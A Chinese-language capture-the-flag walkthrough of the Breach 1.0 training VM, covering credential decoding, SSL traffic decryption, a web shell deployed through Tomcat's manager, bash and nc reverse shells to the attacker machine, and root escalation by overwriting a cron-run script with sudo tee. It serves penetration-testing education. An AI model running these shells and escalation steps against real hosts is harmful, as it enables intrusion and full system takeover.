13. CTF綜合靶機滲透(六)

靶機說明

Breach1.0是一個難度爲初級到中級的BooT2Root/CTF挑戰。php

VM虛機配置有靜態IP地址(192.168.110.140),須要將虛擬機網卡設置爲host-only方式組網,而且配置網段。很是感謝Knightmare和rastamouse進行測試和提供反饋。做者期待你們寫出文章,特別是經過非預期的方式獲取root權限。html

目標

Boot to root:得到root權限,查看flag。vue

運行環境

  • 靶機:網絡鏈接方式設置爲主機模式(host-only),靜態IP是192.168.110.140。
  • 攻擊機:同網段下有kali攻擊機(物理機),IP地址:192.168.110.128,安裝有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Python2.七、JDK、DirBuster、AWVS、Nessus等滲透工具,也可使用windows攻擊機。

信息收集

  • 端口服務識別

啓動Breach1.0虛擬機,因爲IP已知,使用nmap掃描端口,並作服務識別和深度掃描(加-A參數),掃描結果保存到txt文件,命令:java

nmap -v -A -p 1-65535 192.168.110.140python

發現端口幾乎全開放了,顯然是有問題,虛擬機對端口掃描作了一些防禦措施,直接訪問80端口,進入web首頁:mysql

漏洞挖掘

  • 0x01:查看首頁源碼,解碼獲得密碼

(1) 查看首頁源代碼,發現提示:linux

Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo   這是一串base64編碼c++

(2) 將其複製到Burpsuit Decoder進行base64解碼,解密後發現仍是base64編碼,繼續base64解碼,獲得git

 

pgibbons:damnitfeel$goodtobeagang$tagithub

這看起來像是用戶名和密碼

  • 0x02:登陸cms,查看郵件,下載包含SSL證書的密鑰庫keystore文件

(1) 點擊首頁的圖片,進入 initech.html 頁面

(2)點擊initech.html左邊的 CakeStapler 發現只是簡簡單單的兩張圖片,

(3) 點擊initech.html左邊的 Employee portal 進入到 http://192.168.110.140/impresscms/user.php 這是一個impresscms登陸頁

使用以前兩次base64解碼獲得的密碼登陸impresscms:

用戶名:pgibbons

密碼:damnitfeel$goodtobeagang$ta

(3) exploit-db.com查找impress cms漏洞:發現ImpressCMS 1.3.9 SQL注入漏洞 : https://www.exploit-db.com/exploits/39737/%E5%8F%AF%E6%B3%A8%E5%85%A5%E9%A1%B5%E9%9D%A2%E4%B8%BA/modules/profile/admin/field.php,可是該頁面目前沒有權限訪問,沒法進行注入。

(4) 注意到左邊的收件箱Inbox顯示有3封郵件

咱們依次打開查看:

第一封郵件:

主要內容:讓你的團隊只能向管理門戶發佈任何敏感的內容。個人密碼很是安全,發自ImpressCMS Admin Bill

 

第二封郵件:

主要內容:Michael採購了IDS/IPS。

 

第三封郵件:

主要內容:有一個peter的SSL證書被保存在192.168.110.140/.keystore

關鍵恐怕就是這個第三封郵件

(5) 訪問  http://192.168.110.140/.keystore  下載包含SSL證書的密鑰庫keystore文件,keystore是存儲公私密鑰的一種文件格式。

 

  • 0x03:導入流量抓包文件、SSL證書到Wireshark

(1) 依次訪問左邊的菜單樹,點擊每一個菜單欄:

菜單欄 content 連接了一張圖片troll.gif:

點擊菜單欄 profile 會進入目錄瀏覽:

但都沒發現可利用漏洞,繼續瀏覽每一個網頁。

(2) 點擊 View Account 菜單進入界面,再依次點擊頁面的  Content,會彈出一行連接  Content SSL implementation test capture ,點擊連接,以下圖:

(3) 進入http://192.168.110.140/impresscms/modules/content/content.php?content_id=1頁面,能夠看到一個名爲_SSL_test_phase1.pcap的Wireshark流量包文件,下載它。

 

同時,該頁面有重要的提示信息:這個pcap文件是有紅色團隊的從新攻擊產生的,可是不能讀取文件。並且

"They told me the alias, storepassword and keypassword are all set to 'tomcat' " 別名、Keystore密碼、key密碼都設置成 tomcat

由此推測:a.這是一個流量包文件,不能讀取極可能由於某些流量有SSL加密(前面的郵件中提供了一個keystore,這裏提供了密碼;b.系統中可能存在tomcat。

(4) Windows攻擊機安裝有JDK,到JDK目錄下找到keytool.exe工具:路徑D:\java\bin\keytool.exe

將keystore放到F盤根目錄,查看keystore這個密鑰庫裏面的全部證書,命令 keytool -list -keystore F:\keystore  輸入密鑰庫口令 tomcat

(5) 從密鑰庫導出.p12證書,將keystore拷貝到keytool目錄,導出名爲:tomcatkeystore.p12 的證書,命令:

keytool -importkeystore -srckeystore F:keystore -destkeystore F:tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat

 

查看結構,發現已經成功導出

 

(6) 將.p12證書導入Wireshark

.p12證書存儲在C盤根目錄,將證書導入Wireshark:在Wireshark中打開流量包文件_SSL_test_phase1.pcap,選擇菜單:編輯----->首選項---->Protocols---->SSL,點擊右邊的Edit,輸入:192.168.110.140 8443 http 點擊選擇證書文件 輸入密碼tomcat

 

  • 0x04:從流量包文件中獲得tomcat後臺URL和密碼

(1) 導入證書後,https流量已經被解密,查看每一個http流量包:

發現從192.168.110.129到192.168.110.140的攻擊流量包,其中有cmd命令馬執行了id命令,攻擊者上傳了兩張圖片,疑似圖片馬,可是命令馬沒法直接訪問,須要登陸tomcat後臺:

(2) 得到Tomcat後臺登陸地址和用戶名密碼

繼續觀察流量包,發現一個Unauthorized的認證包,意思是管理員沒有受權訪問

這是關於Unauthorized的認證包的講解:https://blog.csdn.net/patronsaint/article/details/5639962

該request和response包含了Tomcat後臺的登陸地址:

https://192.168.110.140:8443/_M@nag3Me/html

同時發現包含登陸用戶名密碼的數據包, 採用http basic認證,認證數據包爲

Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC  :

這是base64編碼的用戶名密碼,將 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 進行解碼,獲得Tomcat登陸用戶名密碼

 

Tomcat後臺登陸用戶名:tomcat,密碼:Tt5D8F(#!*u=G)4m7zB

 

獲取shell

  • 0x05: 登陸Tomcat後臺get shell

(1) 登陸tomcat後臺:

(2) Tomcat後臺get shell是有標準姿式的,上養馬場,準備好jsp版本的各類馬,這裏有cmd命令小馬,菜刀馬,jspspy大馬,將其打成caidao.zip壓縮包,再將zip壓縮包將擴展名改成caidao.war,將war包上傳部署便可:

(2) 在WAR file to deploy中將war包上傳:

上傳後在目錄中找到上傳的目錄/caidao,已上傳jsp木馬文件就在這個目錄下。

(3) 使用中國菜刀鏈接https://192.168.110.140:8443/caidao/caidao.jsp

(4) 使用菜刀命令行鏈接,執行id;pwd命令成功:

(5) 發現的問題:上傳的菜刀馬,一下子就會消失,文件被刪除,須要從新上傳war包纔可以繼續使用菜刀,主機可能有殺軟或者殺web shell工具。解決方法:bash反彈一個shell出來。

提高權限

  • 0x06: 查看系統用戶,發現mysql root密碼

(1) 查看當前系統用戶,找id爲1000之後的用戶 cat /etc/passwd

發現兩個值得關注的用戶:milton 和 blumbergh

(2) 在菜刀裏面找到網頁根目錄,默認是在tomcat目錄,找到網頁部署目錄/var/www/5446/

(3) 該目錄下發現兩個奇怪的php文件,命名很是長且無規律fe4db1f7bc038d60776dcb66ab3404d5.php和0d93f85c5061c44cdffeb8381b2772fd.php,使用菜刀下載下來打開查看:

這是mysql數據庫鏈接文件,使用mysql的root帳號鏈接數據庫,密碼爲空。

(4) 由於菜刀馬老是被刪除,因此反彈shell到nc:在菜刀cmd命令行反彈一個shell到Windows攻擊機的nc,命令:echo "bash -i >& /dev/tcp/192.168.110.220/4444 0>&1" | bash

nc接收反彈sehll成功:

(5) 鏈接mysql數據庫,查看mysql用戶,這裏輸入mysql命令後一直沒有回顯,直到輸入exit退出mysql登陸後,查詢回顯纔出來,命令:

mysql -u root -p

use mysql;

select user,password from user;

exit

獲得milton用戶的密碼哈希:6450d89bd3aff1d893b85d3ad65d2ec2

https://www.somd5.com/解密,獲得用戶milton的明文密碼:thelaststraw

  • 0x07: 提權到用戶milton和blumbergh

(1) 沒法執行su命令,顯示須要一個終端,以前都遇到這個問題,經過Python解決:

python -c 'import pty;pty.spawn("/bin/bash")'

(2) 提權到用戶milton

su - milton 密碼:thelaststraw

查看milton用戶home目錄下的some_script.sh文件,沒有可利用的信息。

(3) 查看系統內核版本,命令uanme -acat /etc/issue

系統內核版本爲:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提權漏洞。存在本地提權漏洞內核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

(4) 查看歷史命令,無有價值的線索,看到歷史命令su提權到了blumbergh用戶。須要找到blumbergh用戶的密碼。

(5) 到如今發現了7張圖片,6張在圖片目錄:http://192.168.110.140/images/,1張在milton用戶目錄下:

http://192.168.110.140/images/bill.png

http://192.168.110.140/images/initech.jpg

http://192.168.110.140/images/troll.gif

http://192.168.110.140/images/cake.jpg

http://192.168.110.140/images/swingline.jpg

http://192.168.110.140/images/milton_beach.jpg

milton用戶目錄下my_badge.jpg

將圖片複製到kali linux,使用strings打印各圖片其中的可打印字符,追加輸出到images.txt,在vim下查看,密碼在bill.png圖片中。

找到可能的密碼或提示:

發現惟一的單詞是:coffeestains

或者使用exiftool.exe工具查看bill.png圖片的exif信息,獲得可能的密碼:coffeestains

(6)提權到blumbergh用戶

用戶名:blumbergh

密碼:coffeestains

(7)查看歷史命令,發現/usr/share/cleanup和tidyup.sh腳本文件:

讀取tidyup.sh腳本分析:

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

這是一段清理腳本,描述中說明每3分鐘執行清理,刪除webapps目錄下的文件,所以以前上傳的菜刀馬老是被刪除,須要從新上傳。

查看tidyup.sh的權限,對該腳本沒有寫入權限,只有root能夠

查看sudo權限,執行sudo -l:

發現用戶可以以root權限執行這tee程序或tidyup.sh腳本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh

tee命令用於讀取標準輸入的數據,並將其內容輸出成文件。tidyup.sh是清理腳本。

  • 0x07:反彈root權限shell,獲取flag

(1) 向tidyup.sh中寫入反彈shell命令

tidyup.sh文件只有root可寫,而可以以root權限運行tee命令,那麼用tee命令寫tidyup.sh:先將反彈shell命令寫入shell.txt文件,使用bash反彈shell命令沒有成功,因而使用nc命令反彈shell成功,因此寫nc反彈命令:

echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt

再使用tee命令將shell.txt內容輸出到tidyup.sh

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看tidyup.sh文件寫入成功:

cat /usr/share/cleanup/tidyup.sh

(2) nc監聽等待反彈shell,查看權限是root,flag是一張圖片,將圖片拷貝到home目錄:

(3) 查看一下crontab計劃任務,發現果真有每3分鐘執行tidyup.sh清理腳本的任務:

(4) 使用以前上傳的jsp大馬JspSpy將flair.jpg下載到Windows:

(5) 查看flag:I NEED TO TALK ABOUT YOUR FLAIR 遊戲通關。

總結

  • 主要突破點:

(1) 從網頁源碼和圖片字符中解密出CMS和Tomcat的帳號、密碼。

(2) 導入ssl證書到Wireshark中解密通過SSL加密的流量,得到Tomcat後臺登陸URL和帳號密碼。

(3) Tomcat後臺get shell姿式要熟練。

(4) 提權:找到兩個帳號的密碼,發現能夠root權限執行的tee命令和tidyup.sh清理腳本,經過計劃任務反彈root shell。

  • 難點和踩到的坑:

(1) 使用keytool導出SSL證書:這是很是規滲透知識,須要查閱原理和工具使用,耗費時間較多。

(2) Tomcat後臺get shell後,已上傳的菜刀馬老是被殺,每次傳上去過不了幾分鐘沒了,當時覺得該系統安裝了殺毒軟件或web shell清理工具,實際是由於主機tidyup.sh清理腳本,每3分鐘清理一次。反彈出一個shell就能夠持續使用shell了。

(3) 鏈接mysql執行命令,沒有回顯。菜刀執行命令超時,nc中只有exit退出時纔回顯,當時打算放棄了,才exit退出,結果退出纔有回顯,發現了milton帳號的密碼哈希。山重水複疑無路,柳暗花明又一村。

(4) 花費較多時間進行兩次帳號切換,再反彈root shell提權。發現和利用tidyup.sh須要較多時間。

(5) 經過crontab的計劃任務,反彈root shell的方式,在真實滲透測試中是常見的,好比redis的root空口令挖礦,能夠ssh證書鏈接,也能夠寫root crontab反彈,可是在Vulnhub中第一次遇到,對初學者有難度。

相關文章
相關標籤/搜索